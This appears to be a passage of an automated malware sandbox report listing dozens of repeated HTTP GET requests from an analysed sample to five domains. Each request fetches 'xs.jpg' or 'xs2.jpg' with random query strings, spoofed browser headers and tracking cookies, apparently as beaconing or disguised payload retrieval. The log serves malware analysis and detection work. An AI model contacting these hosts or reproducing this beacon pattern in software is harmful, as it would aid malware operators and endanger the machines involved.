                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?315ea03b=-153542361 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?fcfe00b3=-50462541 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159342|1720159208|4|30|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4d6da8df=-1696902722 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159342|1720159209|4|30|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?fcf9a73d=-355233109 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159343|1720159210|4|30|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?d6cd1c9c=1530163824 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?ac94a6eb=-1399544085 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1e447f17=1015610926 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159346|1720159208|4|31|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?90145cb5=-1338173921 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159347|1720159209|4|31|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?7b65f9eb=-308811860 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159348|1720159210|4|31|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?e2362982=-499766910 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?ee96f00e=-1752588204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3d8b03f0=867636144 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159351|1720159208|4|32|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?5ba63bfa=317895662 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159352|1720159209|4|32|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?dd7e3e4c=-1157858152 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159353|1720159210|4|32|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?48113524=1209087268 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?baec0a33=1977095270 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?4aae3f80=-1789100288 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159356|1720159208|4|33|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3def25de=761812174 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159356|1720159209|4|33|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?169bcf29=-1260488376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159357|1720159210|4|33|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?77e1dd4f=1738905581 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?bee7d50d=-1165547199 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?9d03c0a4=973570376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159360|1720159208|4|34|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?d883278a=1965001572 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159361|1720159209|4|34|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?b51abf91=-205832969 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159362|1720159210|4|34|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?6f1957af=1296828173 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?e75b4ac1=573939913 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?e367dd4b=-1918929620 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159364|1720159208|4|35|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?8c5cf857=-1110386253 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159365|1720159209|4|35|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?35067=651573 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159366|1720159210|4|35|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?98e1fd6=480927618 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?7d5f014e=-441053940 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?d809335f=1885077942 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159369|1720159208|4|36|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?755b4d7a=-1428526128 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159369|1720159209|4|36|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?9326ace=1388691774 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159370|1720159210|4|36|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?a261d895=-1250910915 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?4c21d05f=-463113955 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?d01fe77f=1082105340 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159373|1720159208|4|37|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?b90529bb=976462158 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159374|1720159209|4|37|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?29084d1f=688409887 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159374|1720159210|4|37|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?b7b2679=1155720918 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?6115a042=-445898422 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a44fd8bb=-1858116884 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159377|1720159208|4|38|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?8ccd01ec=859047856 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159378|1720159209|4|38|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?87953207=-1765829099 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159379|1720159210|4|38|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?e366d748=456571456 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?4aa74b0d=-1790011878 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?7b10710e=-496851372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159382|1720159208|4|39|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?fb47c601=-475094010 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159382|1720159209|4|39|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?5f8cf3a4=2117324432 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159383|1720159210|4|39|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?857688db=366617452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?303eae28=1618828368 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?e278541f=-495430625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159387|1720159208|4|40|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4f537962=1028515208 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159387|1720159209|4|40|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?9a758865=959888067 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159388|1720159210|4|40|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?2c82c54b=-2054664223 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?6a0a1d8=1111904880 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?ba935ee0=-1528767904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159391|1720159208|4|41|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?766eab11=1986964241 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159392|1720159209|4|41|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a84724a6=-1832423812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159393|1720159210|4|41|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?bd6ca73c=-345687584 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?868208e4=-1819927892 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?de47d516=-796492346 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159396|1720159208|4|42|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?7558a477=-1072440630 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159397|1720159209|4|42|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?bd8cb32b=1900819202 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159397|1720159210|4|42|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3bcd0466=1442982908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?53f8f427=-68494219 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?d0624e0f=-498215846 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159401|1720159208|4|43|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?ba892148=1964130960 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159401|1720159209|4|43|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?c23d225b=1336668285 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159402|1720159210|4|43|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?8d5908bb=-579912419 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?726fcf90=1464823472 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?4f9cfd4b=-287901727 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159405|1720159208|4|44|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?7f9835e0=2113473888 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159406|1720159209|4|44|0
